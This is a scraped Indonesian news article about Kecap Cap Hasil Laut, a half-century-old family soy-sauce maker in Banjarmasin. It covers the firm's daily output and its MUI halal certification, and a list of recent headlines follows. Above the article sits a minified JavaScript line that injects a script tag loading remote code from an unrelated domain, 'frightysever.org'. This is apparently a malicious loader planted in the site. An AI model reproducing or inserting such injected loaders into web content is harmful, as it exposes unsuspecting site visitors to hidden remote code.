(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Ekonomi

Usaha Kecap Lokal di Banjarmasin Ini Sudah Berusia Setengah Abad


Bagi warga Kalsel pasti sudah tidak asing dengan salah satu menu makanan Soto Banjar, makanan khas dan bumbu yang sudah tidak diragukan cita rasanya memiliki penggemar dimana-mana, tapi tahukah anda jika pecinta Soto Banjar selalu mencari kecap asin sebagai pelengkap makanan satu ini.

Kecap asin yang hanya ada di Kalsel khususnya Banjarmasin usianya sudah mau setengah abad. Nama merknya adalah Kecap Cap Hasil Laut, nama dan rasanya pun saat ini sudah akrab di lidah urang Banjar. Sejak zaman old sampai zaman now kecap itu ternyata masih eksis. Sehari masih bisa memproduksi 600 botol, bila akhir pekan (Jum’at-Sabtu-Minggu) produksi bisa menyentuh sampai 1.000 botol perhari.

HRD Perusahaan Industri Rumah Tangga Kecap Cap Hasil Laut, M Yuli Sulaiman ketika ditemui menceritakan sejarah singkat kecap ikonik yang satu ini.

“Saya waktu itu masih umur 10 tahun, kecap ini sudah ada dan saat ini sudah memasuki generasi kedua,” katanya mengenang.

Kecap Cap Hasil Laut sudah ada sejak 1970-an. Merupakan usaha keluarga dan dirintis dengan manajemen keluarga.

“Pekerjanya ya masyarakat sekitar, rumah produksi di Belitung Laut Banjarmasin. Meski pemasaran pun cuma Kalsel saja,” kata M Yuli Sulaiman.

Foto : devi

Eksistensi kecap produksi rumah itu patut diperhitungkan. Hanya ada tiga varian rasa, yakni asin, manis dan asin manis. Biasanya kecap ini selalu ada dan cocok untuk menu lokal seperti Soto Banjar.

“Bila akhir pekan, permintaan melonjak sampai 100 persen. Khususnya kecap asin, sehari 600 botol diproduksi bila akhir pekan tembus seribu botol,” kata M Yuli Sulaiman yang ikut hadir dalam pelatihan interpretasi dan implementasi sistem jaminan halal, Selasa (13/3) di Montana Syariah Hotel gelaran LPPOM MUI Kalsel.

“Penting sekali kegiatan ini untuk jamin kepada konsumen kehalalan dari produk yang akan dikonsumsi masyarakat, ini sudah tahun kedua dapat sertifikasi. Sertifikasi sertifikat halal dari MUI, perpanjangan lagi, dua tahun ke depan diakui, ini salah satu usaha kami untuk menjaga kepercayaan masyarakat terhadap produksi kami,” pungkasnya.(devi)

Reporter : Devi
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

“Bakawaan Season 1” Perkuat Kolaborasi Ekosistem Ekraf Balangan

KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More

3 jam ago

Banjarmasin Masih ‘Darurat Sampah’, Dorong Pengolahan Sampah Organik Mandiri

KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More

4 jam ago

Stadion Internasional di Landasan Ulin Barat, Lahan 28,7 Hektare Disiapkan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More

4 jam ago

‎Satlantas Polres HSU Bersama Ojol Mitra Tertib Berlalu Lintas ‎

‎KANALKALIMANTAN.COM, AMUNTAI - ‎Satuan Lalu Lintas (Satlantas) Polres Hulu Sungai Utara (HSU) menggelar kegiatan bertajuk… Read More

1 hari ago

Jemaah Haul ke-6 Abah Haji Penuhi Jalan Masjid Jami Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Lautan manusia jemaah Haul ke-6 KH Ahmad Zuhdianoor atau dikenal Abah Haji… Read More

1 hari ago

Satgas Saber Pangan HSU Turun ke Pasar Induk Amuntai

KANALKALIMANTAN.COM, AMUNTAI - Menjelang bulan Ramadan, Badan Pangan Nasional (Bapanas) bersama Satgas Saber Pangan Kabupaten… Read More

1 hari ago

This website uses cookies.